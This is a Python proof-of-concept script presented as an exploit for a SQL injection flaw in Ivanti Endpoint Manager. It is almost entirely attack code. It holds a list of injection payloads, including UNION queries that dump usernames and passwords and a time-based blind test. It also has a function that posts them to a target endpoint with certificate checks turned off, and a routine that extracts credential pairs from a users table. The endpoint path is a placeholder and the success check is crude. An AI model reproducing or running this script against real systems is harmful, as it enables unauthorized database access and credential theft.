# CVE-2025-62383 - Ivanti Endpoint Manager SQL Injection PoC
# Vulnerability: SQL Injection in Ivanti Endpoint Manager before 2024 SU5
# Requirements: Valid low-privilege authenticated session
import requests
TARGET_URL = "https://target-ivanti-epm.com"
SESSION_COOKIE = "auth_cookie_value" # Valid low-privilege session cookie
VULNERABLE_ENDPOINT = "/api/v1/some_vulnerable_endpoint"
# SQL Injection payloads to test
payloads = [
"' OR '1'='1' --",
"' UNION SELECT NULL, username, password FROM users --",
"' UNION SELECT NULL, table_name, NULL FROM information_schema.tables --",
"1' OR '1'='1",
"'; WAITFOR DELAY '0:0:5' --" # Time-based blind SQLi test
]
def exploit_sql_injection(target_url, endpoint, cookie, payload):
"""
Send SQL injection payload to the vulnerable endpoint
"""
headers = {
"Cookie": f"session={cookie}",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0"
}
# Inject payload into a parameter (e.g., id, search, filter)
data = {
"id": payload,
# Other parameters as needed
}
try:
response = requests.post(
f"{target_url}{endpoint}",
headers=headers,
data=data,
verify=False,
timeout=30
)
return response
except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
return None
# Example usage
for payload in payloads:
print(f"\n[*] Testing payload: {payload}")
response = exploit_sql_injection(TARGET_URL, VULNERABLE_ENDPOINT, SESSION_COOKIE, payload)
if response and response.status_code == 200:
print(f"[+] Response: {response.text[:500]}")
# Check for successful injection indicators
if "error" not in response.text.lower() or "data" in response.text.lower():
print("[+] Possible successful injection!")
# Data extraction example using UNION-based SQLi
def extract_data(target_url, endpoint, cookie, table_name):
"""Extract data from a specific table using UNION-based SQL injection"""
payload = f"' UNION SELECT NULL, CONCAT(username, ':', password), NULL FROM {table_name} --"
response = exploit_sql_injection(target_url, endpoint, cookie, payload)
if response:
print(f"\n[+] Extracted data from {table_name}: {response.text}")
return response
# Extract sensitive information
extract_data(TARGET_URL, VULNERABLE_ENDPOINT, SESSION_COOKIE, "users")